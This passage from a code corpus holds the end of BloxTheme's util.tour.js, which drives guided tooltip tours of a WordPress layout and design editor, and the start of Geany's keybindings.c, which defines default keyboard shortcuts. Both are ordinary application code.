different than all other pages.</p><p style="font-size:12px;">The layout selector will allow you to be as precise or broad as you wish. It\'s completely up to you!</p>', position: { my: 'top center', at: 'bottom center' } }, { target: $('div#box-grid-wizard'), title: 'The Blox Grid', content: '<p>Now we\'re ready to get started with the Blox Grid. In other words, the good stuff.</p><p>To build your first layout, please select a preset to the right to pre-populate the grid. Or, you may select "Use Empty Grid" to start with a completely blank grid.</p><p>Once you have a preset selected, click "Finish".</p>', position: { my: 'right top', at: 'left center' }, nextHandler: { showButton: false, clickElement: '#grid-wizard-button-preset-use-preset, span.grid-wizard-use-empty-grid', message: 'Please click <strong>"Finish"</strong> or <strong>"Use Empty Grid"</strong> to continue.' } }, { iframeTarget: 'div.grid-container', title: 'Adding Blocks', content: '<p>To add a block, simply place your mouse into the grid then click at where you\'d like the top-left point of the block to be.</p><p>Drag your mouse and the block will appear! Once the block appears, you may choose the block type.</p><p>Hint: Don\'t worry about being precise, you may always move or resize the block.</p>', position: { my: 'right top', at: 'left top', adjustY: 100 }, maxWidth: 280 }, { iframeTarget: 'div.grid-container', title: 'Modifying Blocks', content: '\ <p style="font-size:12px;">After you\'ve added the desired blocks to your layout, you may move, resize, delete, or change the options of the block at any time.</p>\ <ul style="font-size:12px;">\ <li><strong>Moving Blocks</strong> &ndash; Click and drag the block. If you wish to move multiple blocks simultaneously, double-click on a block to enter <em>Mass Block Selection Mode</em>.</li>\ <li><strong>Resizing Blocks</strong> &ndash; Grab the border or corner of the block and drag your mouse.</li>\ <li><strong>Block Options (e.g. header image)</strong> &ndash; Hover over the block then click the block options icon in the top-right.</li>\ <li><strong>Deleting Blocks</strong> &ndash; Move your mouse over the desired block, then click the <em>X</em> icon in the top-right.</li>\ </ul>', position: { my: 'right top', at: 'left top', adjustY: 100 }, maxWidth: 280 }, { target: $('#save-button-container'), title: 'Saving', content: '<p>Now that you hopefully have a few changes to be saved, you can save using this spiffy Save button.</p><p>For those of you who like hotkeys, use <strong>Ctrl + S</strong> to save.</p>', position: { my: 'top right', at: 'bottom center' }, tip: 'top right' }, { target: $('li#mode-design a'), title: 'Design Mode', content: '<p>Thanks for sticking with us!</p><p>Now that you have an understanding of the Grid Mode, we hope you stick with us and head on over to the Design Mode.</p>', position: { my: 'top left', at: 'bottom center', adjustY: 5 }, tip: 'top left', buttonText: 'Continue to Design Mode', buttonCallback: function () { $.post(Blox.ajaxURL, { security: Blox.security, action: 'blox_visual_editor', method: 'ran_tour', mode: 'grid', complete: function () { Blox.ranTour['grid'] = true; /* Advance to Design Editor */ $('li#mode-design a').trigger('click'); window.location = $('li#mode-design a').attr('href'); } }); } } ]; /* Design */ tourStepsDesign = [ { beginning: true, title: 'Welcome to the Blox Design Editor!', content: "<p>In the <strong>Design Editor</strong>, you can style your elements however you'd like.</p><p>Whether it's fonts, colors, padding, borders, shadows, or rounded corners, you can use the design editor.</p><p>Stick around to learn more!</p>" }, { target: '#side-panel-top', title: 'Element Selector', content: '<p>The element selector allows you choose which element to edit.</p>', position: { my: 'right top', at: 'left center' }, callback: function () { $('li#element-block-header > span.element-name').trigger('click'); } }, { target: '#toggle-inspector', title: 'Inspector', content: "\ <p>Instead of using the <em>Element Selector</em>, let the Inspector do the work for you.</p>\ <p><strong>Try it out!</strong> Point and right-click on the element you wish to edit and it will become selected!</p>\ ", position: { my: 'top right', at: 'bottom center', adjustX: 10, adjustY: 5 } }, { target: 'window', title: 'Have fun building with Blox!', content: '<p>We hope you find Blox to the most powerful and easy-to-use WordPress framework around.</p><p>If you have any questions, please don\'t hesitate to visit the <a href="http://support.bloxtheme.com/?utm_source=visualeditor&utm_medium=blox&utm_campaign=tour" target="_blank">support forums</a>.</p>', end: true } ]; return { start: function () { if ( Blox.mode == 'grid' ) { var steps = tourStepsGrid; hidePanel(); openBox('grid-wizard'); } else if ( Blox.mode == 'design' ) { var steps = tourStepsDesign; showPanel(); require(['modules/design/mode-design'], function() { showDesignEditor(); }); if ( typeof $('div#panel').data('ui-tabs') != 'undefined' ) selectTab('editor-tab', $('div#panel')); } else { return; } $('<div class="black-overlay"></div>') .hide() .attr('id', 'black-overlay-tour') .css('zIndex', 15) .appendTo('body') .fadeIn(500); $(document.body).qtip({ id: 'tour', // Give it an ID of qtip-tour so we an identify it easily content: { text: steps[0].content + '<div id="tour-next-container"><span id="tour-next" class="tour-button button button-blue">Continue Tour <span class="arrow">&rsaquo;</span></span></div>', title: { text: steps[0].title, // ...and title button: 'Skip Tour' } }, style: { classes: 'qtip-tour', tip: { width: 18, height: 10, mimic: 'center', offset: 10 } }, position: { my: 'center', at: 'center', target: $(window), // Also use first steps position target... viewport: $(window), // ...and make sure it stays on-screen if possible adjust: { y: 5, method: 'shift shift' } }, show: { event: false, // Only show when show() is called manually ready: true, // Also show on page load, effect: function () { $(this).fadeIn(500); } }, hide: false, // Don't hide unless we call hide() events: { render: function (event, api) { $('#iframe-notice').remove(); hideIframeOverlay(); openBox('grid-wizard'); // Grab tooltip element var tooltip = api.elements.tooltip; // Track the current step in the API api.step = 0; // Bind custom custom events we can fire to step forward/back tooltip.bind('next', function (event) { /* For some reason trigger window resizing helps tooltip positioning */ $(window).trigger('resize'); // Increase/decrease step depending on the event fired api.step += 1; api.step = Math.min(steps.length - 1, Math.max(0, api.step)); // Set new step properties currentTourStep = steps[api.step]; $('div#black-overlay-tour').fadeOut(100, function () { $(this).remove(); }); //Run the callback if it exists if ( typeof currentTourStep.callback === 'function' ) { currentTourStep.callback.apply(api); } if ( currentTourStep.target == 'window' ) { currentTourStep.target = $(window); } else if ( typeof currentTourStep.target == 'string' ) { currentTourStep.target = $(currentTourStep.target); } else if ( typeof currentTourStep.iframeTarget == 'string' ) { currentTourStep.target = $i(currentTourStep.iframeTarget).first(); } api.set('position.target', currentTourStep.target); if ( typeof currentTourStep.maxWidth !== 'undefined' && window.innerWidth < 1440 ) { $('.qtip-tour').css('maxWidth', currentTourStep.maxWidth); } else { $('.qtip-tour').css('maxWidth', 350); } /* Set up button */ var buttonText = 'Next'; if ( typeof currentTourStep.buttonText == 'string' ) var buttonText = currentTourStep.buttonText; if ( typeof currentTourStep.end !== 'undefined' && currentTourStep.end === true ) { var button = '<div id="tour-next-container"><span id="tour-finish" class="tour-button button button-blue">Close Tour <span class="arrow">&rsaquo;</span></div>'; } else if ( typeof currentTourStep.nextHandler === 'undefined' || currentTourStep.nextHandler.showButton ) { var button = '<div id="tour-next-container"><span id="tour-next" class="tour-button button button-blue">' + buttonText + ' <span class="arrow">&rsaquo;</span></div>'; } else { var button = '<div id="tour-next-container"><p>' + currentTourStep.nextHandler.message + '</p></div>'; } /* Next Handler Callback... Be able to use something other than the button */ if ( typeof currentTourStep.nextHandler !== 'undefined' && $(currentTourStep.nextHandler.clickElement) ) { var nextHandlerCallback = function (event) { $('.qtip-tour').triggerHandler('next'); event.preventDefault(); $(this).unbind('click', nextHandlerCallback); } $(currentTourStep.nextHandler.clickElement).bind('click', nextHandlerCallback); } /* Set the Content */ api.set('content.text', currentTourStep.content + button); api.set('content.title', currentTourStep.title); if ( typeof currentTourStep.end === 'undefined' ) { /* Position */ if ( typeof currentTourStep.position !== 'undefined' ) { api.set('position.my', currentTourStep.position.my); api.set('position.at', currentTourStep.position.at); /* Offset/Adjust */ if ( typeof currentTourStep.position.adjustX !== 'undefined' ) { api.set('position.adjust.x', currentTourStep.position.adjustX); } else { api.set('position.adjust.x', 0); } if ( typeof currentTourStep.position.adjustY !== 'undefined' ) { api.set('position.adjust.y', currentTourStep.position.adjustY); } else { api.set('position.adjust.y', 0); } } else { api.set('position.my', 'top center'); api.set('position.at', 'bottom center'); } if ( typeof currentTourStep.tip !== 'undefined' ) api.set('style.tip.corner', currentTourStep.tip); } else { api.set('position.my', 'center'); api.set('position.at', 'center'); } }); /* Tour Button Bindings */ $('div.qtip-tour').on('click', 'span#tour-next', function (event) { /* Callback that fires upon button click... Used for advancing to Design Editor */ if ( typeof currentTourStep == 'object' && typeof currentTourStep.buttonCallback == 'function' ) currentTourStep.buttonCallback.call(); $('.qtip-tour').triggerHandler('next'); event.preventDefault(); }); $('div.qtip-tour').on('click', 'span#tour-finish', function (event) { $('.qtip-tour').qtip('hide'); }); }, // Destroy the tooltip after it hides as its no longer needed hide: function (event, api) { $('div#tour-overlay').remove(); $('div#black-overlay-tour').fadeOut(100, function () { $(this).remove(); }); $('.qtip-tour').fadeOut(100, function () { $(this).qtip('destroy'); }); //Tell the DB that the tour has been ran if ( Blox.ranTour[Blox.mode] == false && Blox.ranTour.legacy != true ) { $.post(Blox.ajaxURL, { security: Blox.security, action: 'blox_visual_editor', method: 'ran_tour', mode: Blox.mode }); Blox.ranTour[Blox.mode] = true; } } } }); } } });
bloxtheme/BloxTheme
bloxtheme/library/visual-editor/scripts-src/util.tour.js
JavaScript
gpl-2.0
13,717
/* * keybindings.c - this file is part of Geany, a fast and lightweight IDE * * Copyright 2006-2012 Enrico Tröger <enrico(dot)troeger(at)uvena(dot)de> * Copyright 2006-2012 Nick Treleaven <nick(dot)treleaven(at)btinternet(dot)com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ /** * @file keybindings.h * Configurable keyboard shortcuts. * - keybindings_send_command() mimics a built-in keybinding action. * - @ref GeanyKeyGroupID lists groups of built-in keybindings. * @see plugin_set_key_group(). **/ #include "geany.h" #include <gdk/gdkkeysyms.h> #include <string.h> #include "keybindings.h" #include "support.h" #include "utils.h" #include "ui_utils.h" #include "document.h" #include "documentprivate.h" #include "filetypes.h" #include "callbacks.h" #include "prefs.h" #include "msgwindow.h" #include "editor.h" #include "sciwrappers.h" #include "build.h" #include "tools.h" #include "navqueue.h" #include "symbols.h" #include "vte.h" #include "toolbar.h" #include "sidebar.h" #include "notebook.h" #include "geanywraplabel.h" #include "main.h" #include "search.h" #ifdef HAVE_VTE # include "vte.h" #endif GPtrArray *keybinding_groups; /* array of GeanyKeyGroup pointers, in visual order */ /* keyfile group name for non-plugin KB groups */ static const gchar keybindings_keyfile_group_name[] = "Bindings"; /* core keybindings */ static GeanyKeyBinding binding_ids[GEANY_KEYS_COUNT]; static GtkAccelGroup *kb_accel_group = NULL; static const gboolean swap_alt_tab_order = FALSE; /* central keypress event handler, almost all keypress events go to this function */ static gboolean on_key_press_event(GtkWidget *widget, GdkEventKey *event, gpointer user_data); static gboolean check_current_word(GeanyDocument *doc, gboolean sci_word); static gboolean read_current_word(GeanyDocument *doc, gboolean sci_word); static gchar *get_current_word_or_sel(GeanyDocument *doc, gboolean sci_word); static gboolean cb_func_file_action(guint key_id); static gboolean cb_func_project_action(guint key_id); static gboolean cb_func_editor_action(guint key_id); static gboolean cb_func_select_action(guint key_id); static gboolean cb_func_format_action(guint key_id); static gboolean cb_func_insert_action(guint key_id); static gboolean cb_func_search_action(guint key_id); static gboolean cb_func_goto_action(guint key_id); static gboolean cb_func_switch_action(guint key_id); static gboolean cb_func_clipboard_action(guint key_id); static gboolean cb_func_build_action(guint key_id); static gboolean cb_func_document_action(guint key_id); static gboolean cb_func_view_action(guint key_id); /* note: new keybindings should normally use per group callbacks */ static void cb_func_menu_help(guint key_id); static void cb_func_menu_preferences(guint key_id); static void cb_func_menu_fullscreen(guint key_id); static void cb_func_menu_messagewindow(guint key_id); static void cb_func_menu_opencolorchooser(guint key_id); static void cb_func_switch_tableft(guint key_id); static void cb_func_switch_tabright(guint key_id); static void cb_func_switch_tablastused(guint key_id); static void cb_func_move_tab(guint key_id); static void add_popup_menu_accels(void); /** Looks up a keybinding item. * @param group Group. * @param key_id Keybinding index for the group. * @return The keybinding. * @since 0.19. */ GeanyKeyBinding *keybindings_get_item(GeanyKeyGroup *group, gsize key_id) { if (group->plugin) { g_assert(key_id < group->plugin_key_count); return &group->plugin_keys[key_id]; } g_assert(key_id < GEANY_KEYS_COUNT); return &binding_ids[key_id]; } /* This is used to set default keybindings on startup. * Menu accels are set in apply_kb_accel(). */ /** Fills a GeanyKeyBinding struct item. * @note Always set @a key and @a mod to 0, otherwise you will likely * cause conflicts with the user's custom, other plugin's keybindings or * future default keybindings. * @param group Group. * @param key_id Keybinding index for the group. * @param callback Function to call when activated, or @c NULL to use the group callback. * Usually it's better to use the group callback instead - see plugin_set_key_group(). * @param key (Lower case) default key, e.g. @c GDK_j, but usually 0 for unset. * @param mod Default modifier, e.g. @c GDK_CONTROL_MASK, but usually 0 for unset. * @param kf_name Key name for the configuration file, such as @c "menu_new". * @param label Label used in the preferences dialog keybindings tab. May contain * underscores - these won't be displayed. * @param menu_item Optional widget to set an accelerator for, or @c NULL. * @return The keybinding - normally this is ignored. */ GeanyKeyBinding *keybindings_set_item(GeanyKeyGroup *group, gsize key_id, GeanyKeyCallback callback, guint key, GdkModifierType mod, const gchar *kf_name, const gchar *label, GtkWidget *menu_item) { GeanyKeyBinding *kb; g_assert(group->name); kb = keybindings_get_item(group, key_id); g_assert(!kb->name); g_ptr_array_add(group->key_items, kb); if (group->plugin) { /* some plugins e.g. GeanyLua need these fields duplicated */ SETPTR(kb->name, g_strdup(kf_name)); SETPTR(kb->label, g_strdup(label)); } else { /* we don't touch these strings unless group->plugin is set, const cast is safe */ kb->name = (gchar *)kf_name; kb->label = (gchar *)label; } kb->key = key; kb->mods = mod; kb->default_key = key; kb->default_mods = mod; kb->callback = callback; kb->menu_item = menu_item; kb->id = key_id; return kb; } static void add_kb_group(GeanyKeyGroup *group, const gchar *name, const gchar *label, GeanyKeyGroupCallback callback, gboolean plugin) { g_ptr_array_add(keybinding_groups, group); group->name = name; group->label = label; group->callback = callback; group->plugin = plugin; group->key_items = g_ptr_array_new(); } GeanyKeyGroup *keybindings_get_core_group(guint id) { static GeanyKeyGroup groups[GEANY_KEY_GROUP_COUNT]; g_return_val_if_fail(id < GEANY_KEY_GROUP_COUNT, NULL); return &groups[id]; } static void add_kb(GeanyKeyGroup *group, gsize key_id, GeanyKeyCallback callback, guint key, GdkModifierType mod, const gchar *kf_name, const gchar *label, const gchar *widget_name) { GtkWidget *widget = widget_name ? ui_lookup_widget(main_widgets.window, widget_name) : NULL; keybindings_set_item(group, key_id, callback, key, mod, kf_name, label, widget); } #define ADD_KB_GROUP(group_id, label, callback) \ add_kb_group(keybindings_get_core_group(group_id),\ keybindings_keyfile_group_name, label, callback, FALSE) static void init_default_kb(void) { GeanyKeyGroup *group; /* visual group order */ ADD_KB_GROUP(GEANY_KEY_GROUP_FILE, _("File"), cb_func_file_action); ADD_KB_GROUP(GEANY_KEY_GROUP_EDITOR, _("Editor"), cb_func_editor_action); ADD_KB_GROUP(GEANY_KEY_GROUP_CLIPBOARD, _("Clipboard"), cb_func_clipboard_action); ADD_KB_GROUP(GEANY_KEY_GROUP_SELECT, _("Select"), cb_func_select_action); ADD_KB_GROUP(GEANY_KEY_GROUP_FORMAT, _("Format"), cb_func_format_action); ADD_KB_GROUP(GEANY_KEY_GROUP_INSERT, _("Insert"), cb_func_insert_action); ADD_KB_GROUP(GEANY_KEY_GROUP_SETTINGS, _("Settings"), NULL); ADD_KB_GROUP(GEANY_KEY_GROUP_SEARCH, _("Search"), cb_func_search_action); ADD_KB_GROUP(GEANY_KEY_GROUP_GOTO, _("Go to"), cb_func_goto_action); ADD_KB_GROUP(GEANY_KEY_GROUP_VIEW, _("View"), cb_func_view_action); ADD_KB_GROUP(GEANY_KEY_GROUP_DOCUMENT, _("Document"), cb_func_document_action); ADD_KB_GROUP(GEANY_KEY_GROUP_PROJECT, _("Project"), cb_func_project_action); ADD_KB_GROUP(GEANY_KEY_GROUP_BUILD, _("Build"), cb_func_build_action); ADD_KB_GROUP(GEANY_KEY_GROUP_TOOLS, _("Tools"), NULL); ADD_KB_GROUP(GEANY_KEY_GROUP_HELP, _("Help"), NULL); ADD_KB_GROUP(GEANY_KEY_GROUP_FOCUS, _("Focus"), cb_func_switch_action); ADD_KB_GROUP(GEANY_KEY_GROUP_NOTEBOOK, _("Notebook tab"), NULL); /* Init all fields of keys with default values. * The menu_item field is always the main menu item, popup menu accelerators are * set in add_popup_menu_accels(). */ group = keybindings_get_core_group(GEANY_KEY_GROUP_FILE); add_kb(group, GEANY_KEYS_FILE_NEW, NULL, GDK_n, GDK_CONTROL_MASK, "menu_new", _("New"), NULL); add_kb(group, GEANY_KEYS_FILE_OPEN, NULL, GDK_o, GDK_CONTROL_MASK, "menu_open", _("Open"), NULL); add_kb(group, GEANY_KEYS_FILE_OPENSELECTED, NULL, GDK_o, GDK_SHIFT_MASK | GDK_CONTROL_MASK, "menu_open_selected", _("Open selected file"), "menu_open_selected_file1"); add_kb(group, GEANY_KEYS_FILE_SAVE, NULL, GDK_s, GDK_CONTROL_MASK, "menu_save", _("Save"), NULL); add_kb(group, GEANY_KEYS_FILE_SAVEAS, NULL, 0, 0, "menu_saveas", _("Save as"), "menu_save_as1"); add_kb(group, GEANY_KEYS_FILE_SAVEALL, NULL, GDK_s, GDK_SHIFT_MASK | GDK_CONTROL_MASK, "menu_saveall", _("Save all"), "menu_save_all1"); add_kb(group, GEANY_KEYS_FILE_PRINT, NULL, GDK_p, GDK_CONTROL_MASK, "menu_print", _("Print"), "print1"); add_kb(group, GEANY_KEYS_FILE_CLOSE, NULL, GDK_w, GDK_CONTROL_MASK, "menu_close", _("Close"), "menu_close1"); add_kb(group, GEANY_KEYS_FILE_CLOSEALL, NULL, GDK_w, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "menu_closeall", _("Close all"), "menu_close_all1"); add_kb(group, GEANY_KEYS_FILE_RELOAD, NULL, GDK_r, GDK_CONTROL_MASK, "menu_reloadfile", _("Reload file"), "menu_reload1"); add_kb(group, GEANY_KEYS_FILE_OPENLASTTAB, NULL, 0, 0, "file_openlasttab", _("Re-open last closed tab"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_PROJECT); add_kb(group, GEANY_KEYS_PROJECT_NEW, NULL, 0, 0, "project_new", _("New"), "project_new1"); add_kb(group, GEANY_KEYS_PROJECT_OPEN, NULL, 0, 0, "project_open", _("Open"), "project_open1"); add_kb(group, GEANY_KEYS_PROJECT_PROPERTIES, NULL, 0, 0, "project_properties", ui_lookup_stock_label(GTK_STOCK_PROPERTIES), "project_properties1"); add_kb(group, GEANY_KEYS_PROJECT_CLOSE, NULL, 0, 0, "project_close", _("Close"), "project_close1"); group = keybindings_get_core_group(GEANY_KEY_GROUP_EDITOR); add_kb(group, GEANY_KEYS_EDITOR_UNDO, NULL, GDK_z, GDK_CONTROL_MASK, "menu_undo", _("Undo"), "menu_undo2"); add_kb(group, GEANY_KEYS_EDITOR_REDO, NULL, GDK_y, GDK_CONTROL_MASK, "menu_redo", _("Redo"), "menu_redo2"); add_kb(group, GEANY_KEYS_EDITOR_DUPLICATELINE, NULL, GDK_d, GDK_CONTROL_MASK, "edit_duplicateline", _("_Duplicate Line or Selection"), "duplicate_line_or_selection1"); add_kb(group, GEANY_KEYS_EDITOR_DELETELINE, NULL, GDK_k, GDK_CONTROL_MASK, "edit_deleteline", _("_Delete Current Line(s)"), "delete_current_lines1"); add_kb(group, GEANY_KEYS_EDITOR_DELETELINETOEND, NULL, GDK_Delete, GDK_SHIFT_MASK | GDK_CONTROL_MASK, "edit_deletelinetoend", _("Delete to line end"), NULL); /* transpose may fit better in format group */ add_kb(group, GEANY_KEYS_EDITOR_TRANSPOSELINE, NULL, 0, 0, "edit_transposeline", _("_Transpose Current Line"), "transpose_current_line1"); add_kb(group, GEANY_KEYS_EDITOR_SCROLLTOLINE, NULL, GDK_l, GDK_SHIFT_MASK | GDK_CONTROL_MASK, "edit_scrolltoline", _("Scroll to current line"), NULL); add_kb(group, GEANY_KEYS_EDITOR_SCROLLLINEUP, NULL, GDK_Up, GDK_MOD1_MASK, "edit_scrolllineup", _("Scroll up the view by one line"), NULL); add_kb(group, GEANY_KEYS_EDITOR_SCROLLLINEDOWN, NULL, GDK_Down, GDK_MOD1_MASK, "edit_scrolllinedown", _("Scroll down the view by one line"), NULL); add_kb(group, GEANY_KEYS_EDITOR_COMPLETESNIPPET, NULL, GDK_Tab, 0, "edit_completesnippet", _("Complete snippet"), NULL); add_kb(group, GEANY_KEYS_EDITOR_SNIPPETNEXTCURSOR, NULL, 0, 0, "move_snippetnextcursor", _("Move cursor in snippet"), NULL); add_kb(group, GEANY_KEYS_EDITOR_SUPPRESSSNIPPETCOMPLETION, NULL, 0, 0, "edit_suppresssnippetcompletion", _("Suppress snippet completion"), NULL); add_kb(group, GEANY_KEYS_EDITOR_CONTEXTACTION, NULL, 0, 0, "popup_contextaction", _("Context Action"), NULL); add_kb(group, GEANY_KEYS_EDITOR_AUTOCOMPLETE, NULL, GDK_space, GDK_CONTROL_MASK, "edit_autocomplete", _("Complete word"), NULL); add_kb(group, GEANY_KEYS_EDITOR_CALLTIP, NULL, GDK_space, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "edit_calltip", _("Show calltip"), NULL); add_kb(group, GEANY_KEYS_EDITOR_MACROLIST, NULL, GDK_Return, GDK_CONTROL_MASK, "edit_macrolist", _("Show macro list"), NULL); add_kb(group, GEANY_KEYS_EDITOR_WORDPARTCOMPLETION, NULL, GDK_Tab, 0, "edit_wordpartcompletion", _("Word part completion"), NULL); add_kb(group, GEANY_KEYS_EDITOR_MOVELINEUP, NULL, GDK_Page_Up, GDK_MOD1_MASK, "edit_movelineup", _("Move line(s) up"), NULL); add_kb(group, GEANY_KEYS_EDITOR_MOVELINEDOWN, NULL, GDK_Page_Down, GDK_MOD1_MASK, "edit_movelinedown", _("Move line(s) down"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_CLIPBOARD); add_kb(group, GEANY_KEYS_CLIPBOARD_CUT, NULL, GDK_x, GDK_CONTROL_MASK, "menu_cut", _("Cut"), NULL); add_kb(group, GEANY_KEYS_CLIPBOARD_COPY, NULL, GDK_c, GDK_CONTROL_MASK, "menu_copy", _("Copy"), NULL); add_kb(group, GEANY_KEYS_CLIPBOARD_PASTE, NULL, GDK_v, GDK_CONTROL_MASK, "menu_paste", _("Paste"), NULL); add_kb(group, GEANY_KEYS_CLIPBOARD_COPYLINE, NULL, GDK_c, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "edit_copyline", _("_Copy Current Line(s)"), "copy_current_lines1"); add_kb(group, GEANY_KEYS_CLIPBOARD_CUTLINE, NULL, GDK_x, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "edit_cutline", _("_Cut Current Line(s)"), "cut_current_lines1"); group = keybindings_get_core_group(GEANY_KEY_GROUP_SELECT); add_kb(group, GEANY_KEYS_SELECT_ALL, NULL, GDK_a, GDK_CONTROL_MASK, "menu_selectall", _("Select All"), "menu_select_all1"); add_kb(group, GEANY_KEYS_SELECT_WORD, NULL, GDK_w, GDK_SHIFT_MASK | GDK_MOD1_MASK, "edit_selectword", _("Select current word"), NULL); add_kb(group, GEANY_KEYS_SELECT_LINE, NULL, GDK_l, GDK_SHIFT_MASK | GDK_MOD1_MASK, "edit_selectline", _("_Select Current Line(s)"), "select_current_lines1"); add_kb(group, GEANY_KEYS_SELECT_PARAGRAPH, NULL, GDK_p, GDK_SHIFT_MASK | GDK_MOD1_MASK, "edit_selectparagraph", _("_Select Current Paragraph"), "select_current_paragraph1"); add_kb(group, GEANY_KEYS_SELECT_WORDPARTLEFT, NULL, 0, 0, "edit_selectwordpartleft", _("Select to previous word part"), NULL); add_kb(group, GEANY_KEYS_SELECT_WORDPARTRIGHT, NULL, 0, 0, "edit_selectwordpartright", _("Select to next word part"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_FORMAT); add_kb(group, GEANY_KEYS_FORMAT_TOGGLECASE, NULL, GDK_u, GDK_CONTROL_MASK | GDK_MOD1_MASK, "edit_togglecase", _("T_oggle Case of Selection"), "menu_toggle_case2"); add_kb(group, GEANY_KEYS_FORMAT_COMMENTLINETOGGLE, NULL, GDK_e, GDK_CONTROL_MASK, "edit_commentlinetoggle", _("Toggle line commentation"), "menu_toggle_line_commentation1"); add_kb(group, GEANY_KEYS_FORMAT_COMMENTLINE, NULL, 0, 0, "edit_commentline", _("Comment line(s)"), "menu_comment_line1"); add_kb(group, GEANY_KEYS_FORMAT_UNCOMMENTLINE, NULL, 0, 0, "edit_uncommentline", _("Uncomment line(s)"), "menu_uncomment_line1"); add_kb(group, GEANY_KEYS_FORMAT_INCREASEINDENT, NULL, GDK_i, GDK_CONTROL_MASK, "edit_increaseindent", _("Increase indent"), "menu_increase_indent1"); add_kb(group, GEANY_KEYS_FORMAT_DECREASEINDENT, NULL, GDK_u, GDK_CONTROL_MASK, "edit_decreaseindent", _("Decrease indent"), "menu_decrease_indent1"); add_kb(group, GEANY_KEYS_FORMAT_INCREASEINDENTBYSPACE, NULL, 0, 0, "edit_increaseindentbyspace", _("Increase indent by one space"), NULL); add_kb(group, GEANY_KEYS_FORMAT_DECREASEINDENTBYSPACE, NULL, 0, 0, "edit_decreaseindentbyspace", _("Decrease indent by one space"), NULL); add_kb(group, GEANY_KEYS_FORMAT_AUTOINDENT, NULL, 0, 0, "edit_autoindent", _("_Smart Line Indent"), "smart_line_indent1"); add_kb(group, GEANY_KEYS_FORMAT_SENDTOCMD1, NULL, GDK_1, GDK_CONTROL_MASK, "edit_sendtocmd1", _("Send to Custom Command 1"), NULL); add_kb(group, GEANY_KEYS_FORMAT_SENDTOCMD2, NULL, GDK_2, GDK_CONTROL_MASK, "edit_sendtocmd2", _("Send to Custom Command 2"), NULL); add_kb(group, GEANY_KEYS_FORMAT_SENDTOCMD3, NULL, GDK_3, GDK_CONTROL_MASK, "edit_sendtocmd3", _("Send to Custom Command 3"), NULL); /* may fit better in editor group */ add_kb(group, GEANY_KEYS_FORMAT_SENDTOVTE, NULL, 0, 0, "edit_sendtovte", _("_Send Selection to Terminal"), "send_selection_to_vte1"); add_kb(group, GEANY_KEYS_FORMAT_REFLOWPARAGRAPH, NULL, GDK_j, GDK_CONTROL_MASK, "format_reflowparagraph", _("_Reflow Lines/Block"), "reflow_lines_block1"); keybindings_set_item(group, GEANY_KEYS_FORMAT_JOINLINES, NULL, 0, 0, "edit_joinlines", _("Join lines"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_INSERT); add_kb(group, GEANY_KEYS_INSERT_DATE, NULL, GDK_d, GDK_SHIFT_MASK | GDK_MOD1_MASK, "menu_insert_date", _("Insert date"), "insert_date_custom1"); add_kb(group, GEANY_KEYS_INSERT_ALTWHITESPACE, NULL, 0, 0, "edit_insertwhitespace", _("_Insert Alternative White Space"), "insert_alternative_white_space1"); add_kb(group, GEANY_KEYS_INSERT_LINEBEFORE, NULL, 0, 0, "edit_insertlinebefore", _("Insert New Line Before Current"), NULL); add_kb(group, GEANY_KEYS_INSERT_LINEAFTER, NULL, 0, 0, "edit_insertlineafter", _("Insert New Line After Current"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_SETTINGS); add_kb(group, GEANY_KEYS_SETTINGS_PREFERENCES, cb_func_menu_preferences, GDK_p, GDK_CONTROL_MASK | GDK_MOD1_MASK, "menu_preferences", _("Preferences"), "preferences1"); add_kb(group, GEANY_KEYS_SETTINGS_PLUGINPREFERENCES, cb_func_menu_preferences, 0, 0, "menu_pluginpreferences", _("P_lugin Preferences"), "plugin_preferences1"); group = keybindings_get_core_group(GEANY_KEY_GROUP_SEARCH); add_kb(group, GEANY_KEYS_SEARCH_FIND, NULL, GDK_f, GDK_CONTROL_MASK, "menu_find", _("Find"), "find1"); add_kb(group, GEANY_KEYS_SEARCH_FINDNEXT, NULL, GDK_g, GDK_CONTROL_MASK, "menu_findnext", _("Find Next"), "find_next1"); add_kb(group, GEANY_KEYS_SEARCH_FINDPREVIOUS, NULL, GDK_g, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "menu_findprevious", _("Find Previous"), "find_previous1"); add_kb(group, GEANY_KEYS_SEARCH_FINDNEXTSEL, NULL, 0, 0, "menu_findnextsel", _("Find Next _Selection"), "find_nextsel1"); add_kb(group, GEANY_KEYS_SEARCH_FINDPREVSEL, NULL, 0, 0, "menu_findprevsel", _("Find Pre_vious Selection"), "find_prevsel1"); add_kb(group, GEANY_KEYS_SEARCH_REPLACE, NULL, GDK_h, GDK_CONTROL_MASK, "menu_replace", _("Replace"), "replace1"); add_kb(group, GEANY_KEYS_SEARCH_FINDINFILES, NULL, GDK_f, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "menu_findinfiles", _("Find in Files"), "find_in_files1"); add_kb(group, GEANY_KEYS_SEARCH_NEXTMESSAGE, NULL, 0, 0, "menu_nextmessage", _("Next Message"), "next_message1"); add_kb(group, GEANY_KEYS_SEARCH_PREVIOUSMESSAGE, NULL, 0, 0, "menu_previousmessage", _("Previous Message"), "previous_message1"); add_kb(group, GEANY_KEYS_SEARCH_FINDUSAGE, NULL, GDK_e, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "popup_findusage", _("Find Usage"), "find_usage1"); add_kb(group, GEANY_KEYS_SEARCH_FINDDOCUMENTUSAGE, NULL, GDK_d, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "popup_finddocumentusage", _("Find Document Usage"), "find_document_usage1"); add_kb(group, GEANY_KEYS_SEARCH_MARKALL, NULL, GDK_m, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "find_markall", _("_Mark All"), "mark_all1"); group = 